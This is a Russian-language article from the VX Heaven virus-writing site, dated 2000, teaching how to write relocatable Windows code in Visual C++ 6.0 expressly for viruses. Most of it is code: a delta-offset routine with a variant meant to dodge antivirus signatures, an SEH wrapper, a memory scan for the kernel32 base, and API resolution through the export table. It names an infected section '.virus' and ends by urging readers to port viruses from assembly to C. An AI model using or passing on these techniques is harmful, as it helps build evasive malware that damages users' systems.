Maximize
Bookmark

VX Heaven

Library Collection Sources Engines Constructors Simulators Utilities Links Forum

Использование microsoft visual C++ 6.0 для создания перемещаемого програмного кода

SMT
Top Device Online [3]
Февраль 2000

[Вернуться к списку] [Комментарии]

В этой статье в основном речь пойдет о том, как, пользуясь microsoftовским компилятором visual C++, создавать код, который можно было бы загрузить по произвольному адресу и при этом он не терял свою работоспособность. Это бывает полезно при создании всякого рода патчей, PE-EXE упаковщиков-распаковщиков, конечно же вирусов, да и просто если нужно в адресном пространстве некоторого процесса выполнить свой кусок кода. Традационно для таких программ используют ассемблер, но так как и операционные системы все усложняются, и требования к программам возрастают, то самое время переходить на C. Особенно это требуется для сложных программ, взаимодействующих с сетями...

Конечно, есть более простые способы, чем описанные здесь (например, создать отдельный процесс; или сгенерить код по какому-нить экзотическому адресу (что-то вроде 0x6EAD0000), а потом выделить память именно в этом месте и загрузить туда свою программу), но все они имеют свои недостатки.

Итак, как заставить компилятор создавать код без привязки к конкретным адресам... К счастью, процессоры intel x86 - это не z80 [;)] и инструкции jmp и call используют относительные смещения. Осталось только выяснить, в каких случаях компилятор подставляет абсолютные адреса...

Это могут быть:

  1. startup код, коды runtime библиотек;
  2. глобальные переменные, адреса функций в C-программе
  3. вызов импортируемых функций.
  4. некоторые особые случаи...

Значит, делаем так:

  1. Отказываемся от startup кода (вирусу он только мешает), не используем функций из статических библиотек, а пишем все сами (написать strcmp() не так уж трудно), или импортируем из msvcrt.dll/crtdll.dll
  2. Все адреса пропускаем через функцию delta такого вот содержания:
    #pragma warning(disable:4035)
    void *delta(void *start) {
            __asm {
                    call    label1
    label1:         pop     eax
                    sub     eax, offset label1
                    add     eax, [start]
            }
    }
    #pragma warning(default:4035)
     

    конечно же, эта функция просто незаменима и поэтому может стать неплохой сигнатурой для аверов. Рекомендуется придумать что-то вроде

    void *delta(void *start) {
            __asm {
                    call    label1
    label0:         pop     ebx
                    leave
                    retn
    label1:         add     ecx, eax
                    xor     eax, ecx
                    pop     eax
                    shr     edx, 1
                    sub     eax, offset label0
                    add     eax, [start]
            }
    }
     

    Все глобальные переменные группируем в один большой struct, и передаем указатель на него между функциями. Все нужные константы должны быть там. Тут есть два способа как к нашему коду добавить блок констант: или обрабатывать его отдельно, дописывая сразу после кода, или сделать функцию - пустышку типа

    void data() {
            __asm nop
            // 1 line = 8*16 = 128 bytes
            __asm ALIGN 16 __asm nop __asm ALIGN 16 __asm nop __asm ALIGN 16 __asm nop __asm ALIGN 16 __asm nop
            __asm ALIGN 16 __asm nop __asm ALIGN 16 __asm nop __asm ALIGN 16 __asm nop __asm ALIGN 16 __asm nop
            __asm ALIGN 16 __asm nop __asm ALIGN 16 __asm nop __asm ALIGN 16 __asm nop __asm ALIGN 16 __asm nop
            __asm ALIGN 16 __asm nop __asm ALIGN 16 __asm nop __asm ALIGN 16 __asm nop __asm ALIGN 16 __asm nop
    }
     

    и в main написать:

    memcpy(data, &init, DATASIZE)

    при этом конечно нужно добавить

    #pragma comment(linker, "/SECTION:.text,ERW")

    в начало программы.

  3. импортируемые функции.

    Придется отказаться от прямого вызова таких функций. Все, что нам нужно, это struct с адресами API. Адреса можно получить, используя свою таблицу импорта (это несколько неудобно), как показано в прилагающемся примере (win32vir.cpp), или более привычно - сканированием памяти, об этом - дальше.

  4. Особые случаи.

    Как известно, памяти в стеке резервируется при загрузке модуля (точнее, при запуске каждого threada) обычно достаточно много, а именно столько, сколько указано в IMAGE_OPTIONAL_HEADER.SizeOfStackReserve (по умолчанию там 1Mb), а выделяется она по мере необходимости (по заполнении очередной 4х-килобайтной страницы), поэтому если функция использует локальных переменных более чем на 4Кб, то компилятор вызывает служебную функцию, которая выделяет память в стеке. Нам этого совсем не надо... Выход - не использовать локальные переменные более 4Кб на функцию. Если еще учесть, что есть проблеммы с глобальными переменными, то получается довольно неудобно... Поэтому делаем так - ищем заменяем вызовы этой функции на нашу, тогда это досадное ограничение можно снять. Вот примерчик из одной моей проги:

    __declspec(naked) void InitStackPages(void)     // это помещается внутрь
    {                                               // основного кода
            __asm{
                    push    ecx
                    cmp     eax, 000001000h
                    lea     ecx, [esp+00008h]
                    jb      __Exit
    __Loop:
                    sub     ecx, 000001000h
                    sub     eax, 000001000h
                    test    [ecx],eax
                    cmp     eax, 000001000h
                    jae     __Loop
    __Exit:
                    sub     ecx, eax
                    mov     eax, esp
                    test    [ecx], eax
                    mov     esp, ecx
                    mov     ecx, [eax]
                    mov     eax, [eax][00004]
                    push    eax
                    retn
            }
    }
    // а это должно выполнятся только 1 раз после компиляции, обычно это
    // внутри инсталлятора, поэтомы нет вызовов delta() для first_func и last_func
    char x;
    main() {
            // перенаправить вызовы InitStackPages
            char a[8192] = {0};     // это нужно, чтобы спровоцировать вызов InitStackPages
            char x = a[0];          // это нужно, чтобы компилятор не прибил переменную a[]
            for (unsigned char *i = (unsigned char*)main; *i != 0xE8; i++);
            unsigned offset = *(unsigned*)(i+1);
            for (unsigned char *j = (unsigned char*)first_func; j < (unsigned char*)last_func; j++)
                    if (j[-5] == 0xB8 && *j == 0xE8 && i+offset == j+*(unsigned*)(j+1))
                            *(unsigned*)(j+1) = (unsigned)InitStackPages - 5 - (unsigned)j;
    }
     

Похоже, придется отказаться и от использования try{}, но все это можно пережить (вот примерчик из еще одной моей проги, заодно и пример сканирования памяти)

#define WORD4(a,b,c,d) ((a)+(b)*0x100+(c)*0x10000+(d)*0x1000000)
#define WORD2(a,b) ((a)+(b)*0x100)
#pragma pack(1)
typedef struct _constants {
        char MainImagePath[128];
        DWORD CryptCode;
// ---------------- import data -------------
        char Kernel32DLL[sizeof("KERNEL32.DLL")];
        char CreateFileA[sizeof("CreateFileA")];
        char ReadFile[sizeof("ReadFile")];
        char SetFilePointer[sizeof("SetFilePointer")];
        char VirtualAlloc[sizeof("VirtualAlloc")];
        char CreateThread[sizeof("CreateThread")];
        char CreateFileMappingA[sizeof("CreateFileMappingA")];
        char MapViewOfFile[sizeof("MapViewOfFile")];
        char UnmapViewOfFile[sizeof("UnmapViewOfFile")];
        char CloseHandle[sizeof("CloseHandle")];
        char nul0;
        char WSOCK32DLL[sizeof("WSOCK32.DLL")];
        char connect[sizeof("connect")];
        // .....................
        char nul1, nul2;
// ------------- end of import data ----------
        char GetProcAddress[sizeof("GetProcAddress")];
        char LoadLibraryA[sizeof("LoadLibraryA")];
} CONSTANTS, *PCONSTANTS;
#pragma pack()

CONSTANTS init = {
        "C:\\WINNT\\SYSTEM32\\ntoskrnl.exe", 0,
// ---------------- import data -------------
        "KERNEL32.DLL",
        "CreateFileA",
        "ReadFile",
        "SetFilePointer",
        "VirtualAlloc",
        "CreateThread",
        "CreateFileMappingA",
        "MapViewOfFile",        // полный список перечислять нет смысла,
        "UnmapViewOfFile",      // все и так все поняли
        "CloseHandle",0,        // вот так переходим к следующему модулю...
        "WSOCK32.DLL",          // начало следующего модуля
        "connect", 0, 0,        // конец списка импорта
        // .......................
// ------------- end of import data ----------
        "GetProcAddress",
        "LoadLibraryA"
};

typedef struct _winapi {
// ---------------- imported -------------
        HANDLE (__stdcall *CreateFile)(LPCTSTR,DWORD,DWORD,LPSECURITY_ATTRIBUTES,DWORD,DWORD,HANDLE);
        BOOL (__stdcall *ReadFile)(HANDLE,LPVOID,DWORD,LPDWORD,LPOVERLAPPED);
        DWORD (__stdcall *SetFilePointer)(HANDLE,LONG,PLONG,DWORD);
        LPVOID (__stdcall *VirtualAlloc)(LPVOID,DWORD,DWORD,DWORD);
        HANDLE (__stdcall *CreateThread)(LPSECURITY_ATTRIBUTES,DWORD,LPTHREAD_START_ROUTINE,LPVOID,DWORD,LPDWORD);
        HANDLE (__stdcall *CreateFileMapping)(HANDLE,LPSECURITY_ATTRIBUTES,DWORD,DWORD,DWORD,LPCTSTR);
        LPVOID (__stdcall *MapViewOfFile)(HANDLE,DWORD,DWORD,DWORD,DWORD);
        BOOL (__stdcall *UnmapViewOfFile)(LPCVOID);
        BOOL (__stdcall *CloseHandle)(HANDLE);
        int (__stdcall *connect)(SOCKET,const struct sockaddr FAR*,int);
        // ...................

// ------------- end of imported ---------
        unsigned Kernel32;
        FARPROC (__stdcall *GetProcAddress)(DWORD, LPCSTR);
        DWORD (__stdcall *LoadLibrary)(LPCTSTR);
        PCONSTANTS ConstData;
} TWIN32, *PWIN32;

int _strcmp(char *str1, char *str2) {
        while (*str1 && *str1 == *str2)
                str1++, str2++;
        return *str1 - *str2;
}

#define tolower(c) ( ((c)<'A' || (c)>'Z') ? (c) : (c)-'A'+'a' )

// Как и GetProcAddress в kernel32, если hModule - не DLL, то страничный сбой
DWORD NativeGetProcAddress(DWORD hModule, char *lpszFunctionName)
{
        DWORD                   dwFunctionAddress = 0;
        PIMAGE_NT_HEADERS       pNtHeader;
        PIMAGE_DATA_DIRECTORY   pDataDir;
        PIMAGE_EXPORT_DIRECTORY pExportDir;

        if (*(short*)hModule != WORD2('M','Z'))
                return dwFunctionAddress;
        pNtHeader = (PIMAGE_NT_HEADERS)(hModule + *(unsigned*)(hModule+0x3C));
        if(pNtHeader->Signature != IMAGE_NT_SIGNATURE)
                return dwFunctionAddress;

        pDataDir = &pNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
        if(!pDataDir->VirtualAddress)
                return dwFunctionAddress;
        pExportDir = (PIMAGE_EXPORT_DIRECTORY) (pDataDir->VirtualAddress + hModule);

        char **pszName = (char**)((DWORD)pExportDir->AddressOfNames + hModule);
        for(unsigned i=0; i < pExportDir->NumberOfNames; i++, pszName++)
                if(!_strcmp(*pszName+hModule, lpszFunctionName))
                        goto found;
        return dwFunctionAddress;

found:
        WORD *pwOrdinals = (WORD*)((DWORD)pExportDir->AddressOfNameOrdinals + hModule);
        DWORD *pdwFunctionAddress = (DWORD*)((DWORD)pExportDir->AddressOfFunctions + hModule);
        return pdwFunctionAddress[pwOrdinals[i]] + hModule;
}

typedef unsigned (__stdcall *FUNC)(void *);
typedef void (__stdcall *ERRFUNC)(void *);
// Выполняет функцию unsigned __stdcall func(void *param),
// возвращает значение этой функции если не было ошибок, или
// вызывает void __stdcall error(void *param) и возвращает 0,
// если имело место исключение.
// В param может передаваться указатель на блок переменных
// также допустим вложенный вызов seh()
unsigned seh(FUNC func, ERRFUNC error, void *param) {
        unsigned result;
        __asm {
// set SEH
                pushad
                call    next
next:           pop     ebx
                lea     eax,[ebx+SEHproc]
                xor     ebx,ebx
                lea     ecx,[ebx+next]
                sub     eax,ecx
                push    eax
                lea     ecx,[esp-4]
                xchg    ecx,fs:[ebx]
                push    ecx
// start of protected section
                push    dword ptr [param]
                call    dword ptr [func]
                mov     [result], eax
// end of protected section
                jmp     short SEHok
// exception handler
SEHproc:        xor     ebx,ebx
                mov     eax,fs:[ebx]
                mov     esp,[eax]
                pop     dword ptr fs:[ebx]
                pop     eax
                popad                           // restore ebp!
                push    [param]
                call    [error]
                push    0
                pop     [result]
                jmp     return
// Restore old SEH
SEHok:          xor     ebx,ebx
                pop     dword ptr fs:[ebx]
                pop     eax
                popad
return:
        }
        return result;
}

__declspec(naked) void nullfunc(void *param) {
        __asm retn 4
}

unsigned __stdcall GetGetProcAddr(unsigned param) {
        return NativeGetProcAddress((DWORD)param, ((PCONSTANTS)delta(data))->GetProcAddress);
}

#define WIN_NT_KERNEL32_BASE            0x77F00000
#define WIN_9XOSR2_KERNEL32_BASE        0xBFF70000
#define WIN_2KBETA_KERNEL32_BASE        0x77ED0000
#define WIN_2KFULL_KERNEL32_BASE        0x77E80000
unsigned GetKernelBase() {
        FUNC getget = (FUNC)delta(GetGetProcAddr);
        ERRFUNC nullf = (ERRFUNC)delta(nullfunc);
#ifdef FAST_SCAN
        if (seh(getget, nullf, (void*)WIN_NT_KERNEL32_BASE))
                return WIN_NT_KERNEL32_BASE;
        if (seh(getget, nullf, (void*)WIN_9XOSR2_KERNEL32_BASE))
                return WIN_9XOSR2_KERNEL32_BASE;
        if (seh(getget, nullf, (void*)WIN_2KBETA_KERNEL32_BASE))
                return WIN_2KBETA_KERNEL32_BASE;
        if (seh(getget, nullf, (void*)WIN_2KFULL_KERNEL32_BASE))
                return WIN_2KFULL_KERNEL32_BASE;
#endif
        for (unsigned i=0xC0000000; i > 0x00400000; i -= 0x10000)
                if (seh(getget, nullf, (void*)i))
                        return i;
        return 0;
}

int FindWin32Functions(PWIN32 Win32) {
        Win32->ConstData = (PCONSTANTS)delta(data);
        if (!(Win32->Kernel32 = GetKernelBase())) return 0;
        Win32->GetProcAddress = (FARPROC(__stdcall*)(DWORD,LPCSTR))GetGetProcAddr(Win32->Kernel32);
        Win32->LoadLibrary = (DWORD(__stdcall*)(LPCTSTR))NativeGetProcAddress(Win32->Kernel32, Win32->ConstData->LoadLibraryA);
        char *ptr = Win32->ConstData->Kernel32DLL;
        unsigned *addr = (unsigned*)&Win32->CreateFile;
        while (*ptr) {
                unsigned ImageBase = Win32->LoadLibrary(ptr);
                while (*ptr++);
                while (*ptr) {
                        if (!(*addr++ = (unsigned)Win32->GetProcAddress(ImageBase, ptr)))
                                return 0;
                        while (*ptr++);
                }
                ptr++;
        }
        return 1;
}
 

Hint: короткие строки можно фомировать непосредственно в программе, а не хранить в глобальных константах, конечно же, не байтами а сразу DWORDами:

char sec_name[8];
*(unsigned*)sec_name =          WORD4('.', 'v', 'i', 'r');
*(unsigned*)(sec_name+4) =      WORD4('u', 's', 0, 0);
 

или

void http(PWIN32 Win32, SOCKET &s) {
        char test_string[4];
        // ... ботва ...
        *(unsigned*)test_string = WORD4('2','0','6',0);
        if (_strstr(res_buf, test_string) {     // server supports re-get
        // .. ну и т.п...
}
 

Ну как? понятнее, чем на ассемблере... Про заражение PE-файлов как-нить в другой раз, просто в качестве упражнения перепишите пару виряков с asmа на C, чтобы уж совсем освоиться... Похоже, создание качественных и сложных вирей становится приятным и несложным занятием, так что скоро можно ожидать толпу новых поделок ;)

P.S. все вышесказанное относится исключительно к msvc версии 6.0, хотя возможно справедливо и для пятой версии...

Примеры к статье.

[Вернуться к списку] [Комментарии]
By accessing, viewing, downloading or otherwise using this content you agree to be bound by the Terms of Use! vxheaven.org aka vx.netlux.org
deenesitfrplruua